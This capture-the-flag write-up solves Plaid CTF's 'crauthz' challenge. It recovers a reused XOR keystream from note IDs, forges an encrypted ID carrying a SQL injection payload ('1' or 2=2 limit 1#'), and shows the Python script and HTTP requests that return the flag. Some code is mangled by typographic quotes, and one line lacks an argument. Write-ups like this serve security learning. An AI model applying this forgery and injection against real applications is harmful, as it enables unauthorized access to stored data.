Plaid CTF ‘crauthz’

First of all I have to thank you to Plaidctf team for those tasks.

I was given the following task with the following description “These web developers didn’t want to worry too much about input validation – so they applied crypto to the problem.”.

From the description of the task I was thinking that would be SQL Injection combined with an attack on a block cipher or stream cipher encrypted message. And I started to look for one.

The first page has a register page for an account.

I register an account and I authenticated into the web application.

I see in the front end we have 2 functionalities for the web site: create a note and see existing note for the authenticated user. I also noticed that there are four cookies:

Cookie:

csrf_token=2f27cce8336a4b5ea1b75405b0e804b1; js_csrf_token=2f27cce8336a4b5ea1b75405b0e804b1; sess_data=eyJleHBpcmVzIjogMTUyODI2MTMxNSwgInVpZCI6IDIwODd9; sess_sig=9f1fce051c52d4a05cb24575362df77f8be73791a71c32510c39a7b9b116d78b

The sess_data is a base64 encoded string and the decoded is “{“expires”: 1528261315, “uid”: 2087}”

I think we have the timestamp when session will expire and the user id from the database. But sess_data is signed with sha256 and the value can be found at parameter sess_sig (hexdigest).

I just went to try the functionalities like “New note”

I created it and went to my notes to see if anything happened.

I clicked on my very first note and no error.

Now it’s time to look into the requests parameters to see what was sent to the server and what we got back as response.

To create a note was sent to the server the following data:

POST /api/make_note HTTP/1.1

Host: crauthz.chal.pwning.xxx

…………………..

title=my+first+note’%22&contents=Note+content’%22&csrf_token=2f27cce8336a4b5ea1b75405b0e804b1

And the response was:

{“id”: “p9wpRtHrhrdv9BjnxETccOifg_Sa9Oeo48TmozJvBHnTTQ==”, “result”: “success”, “title”: “my first note’\””}

The id parameter from the response json is a base64 and decoded is an encrypted cipher text. Maybe this is where we should look for an input validation. I was trying to see what is encrypted in that cipher text and then find the algorithm and then choose the appropriate attack.

We try to create another note with the following content:

Let’s see what happened with the cipher text:

p9wpRtHrhrdv9BjnxETccOifg_Sa9Oeo48TmozJvBHnQTQ==

It looks like the previous one

First one: p9wpRtHrhrdv9BjnxETccOifg_Sa9Oeo48TmozJvBHnTTQ==

Second : p9wpRtHrhrdv9BjnxETccOifg_Sa9Oeo48TmozJvBHnQTQ==

So, I change the content with something bigger and wasn’t reflected in the cipher text, but we have found something interesting, they use a stream cipher text like (AES CTR, RC4 or a simple xor).

Next after this I tried to create another username and then create a new note

The username I created was:

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

When I tried to create a new note the base64 has increased a lot and confirmed me that somewhere in the ciphertext it should be the username.

p9wpRtHrhrdv9BjnxETcfKOUj67OrL2-8ti84WouRTSaSC5haIPPWovs7TC-eWtNGVcb0Iib0xGFBD4m-J72WrV1Jlkj3nDugCizaDxbZAR-s0Fc7RLijm5T28mOgrU6D41eIVtdxRn0QUF2_Qf0DlVpovjxWOwnk6J_WZYWCCn5GMPJ3tZXrv0Vj0EQ6VstM8J6MryEvmPmoCEm3ahJaO8A7UL81qN63EFKCNEoUViSVsJMnKWRsg==

Then I created a python script to try (not sure if will work) to recuperate the key (maybe is same key for all the notes).

import base64

b64d = base64.b64decode

b64e = base64.b64encode

def strxor(a, b):

if len(a) > len(b):

return “”.join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])

else:

return “”.join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])

s1 = “p9wpRtHrhrdv9BjnxETcfKOUj67OrL2-8ti84WouRTSaSC5haIPPWovs7TC-eWtNGVcb0Iib0xGFBD4m-J72WrV1Jlkj3nDugCizaDxbZAR-s0Fc7RLijm5T28mOgrU6D41eIVtdxRn0QUF2_Qf0DlVpovjxWOwnk6J_WZYWCCn5GMPJ3tZXrv0Vj0EQ6VstM8J6MryEvmPmoCEm3ahJaO8A7UL81qN63EFKCNEoUViSVsJMnKWRsg==”

s2 = “p9wpRtHrhrdv9BjnxETccOifg_Sa9Oeo48TmozJvBHnTTQ==”

s1 = b64d(s1.replace(“-“,”+”).replace(“_”,”/”))

s2 = b64d(s2.replace(“-“,”+”).replace(“_”,”/”))

key = strxor(s1, “x”*154) # “x”*154 -> the username

# And then try to decrypt the first note we have created to see the content.

print `strxor(key,)`

The result confirmed us that there is a xor and we have the key:

‘xxxxxxxxxxxxxxxt3st”, “nid”: 9951}’

So we have a part that we can’t decript is that one with ‘x’*15 and then the part we can change in limit of (139 bytes) the plaintext ‘t3st”, “nid”: 9951}’. 139 bytes because the username is ‘x’*154 and minus the first 15 bytes

After I try to find an SQL Injection in the username param, we find that the application was vulnerable for SQL Injection at ‘nid’ parameter so our payload to take the flag is:

#continue the script above

text_to_encrypt = ”’xxxxxxxxxxxxxxxt3st”, “nid”: “1\u0027 or 2=2 limit 1#“}”’

print b64e(strxor(key,text_to_encrypt)).replace(“+”,”-“).replace(“/”,”_”)

#Result is p9wpRtHrhrdv9BjnxETccOifg_Sa9Oeo48TmozJ0DBCXAGYrJ9vYUNOmqHrmbXpYCFtDmdPB1g==

Then I simply sent it to the server and I took the flag:

POST /api/get_note HTTP/1.1

Host: crauthz.chal.pwning.xxx

………………….

nid=p9wpRtHrhrdv9BjnxETccOifg_Sa9Oeo48TmozJ0DBCXAGYrJ9vYUNOmqHrmbXpYCFtDmdPB1g==&csrf_token=2f27cce8336a4b5ea1b75405b0e804b1

Result from the server:

{“result”: “success”, “contents”: “PCTF{ok_but_maybe_it_would_have_worked_with_better_crypto}“, “title”: “Flag”}

Leave a Reply

Your email address will not be published. Required fields are marked *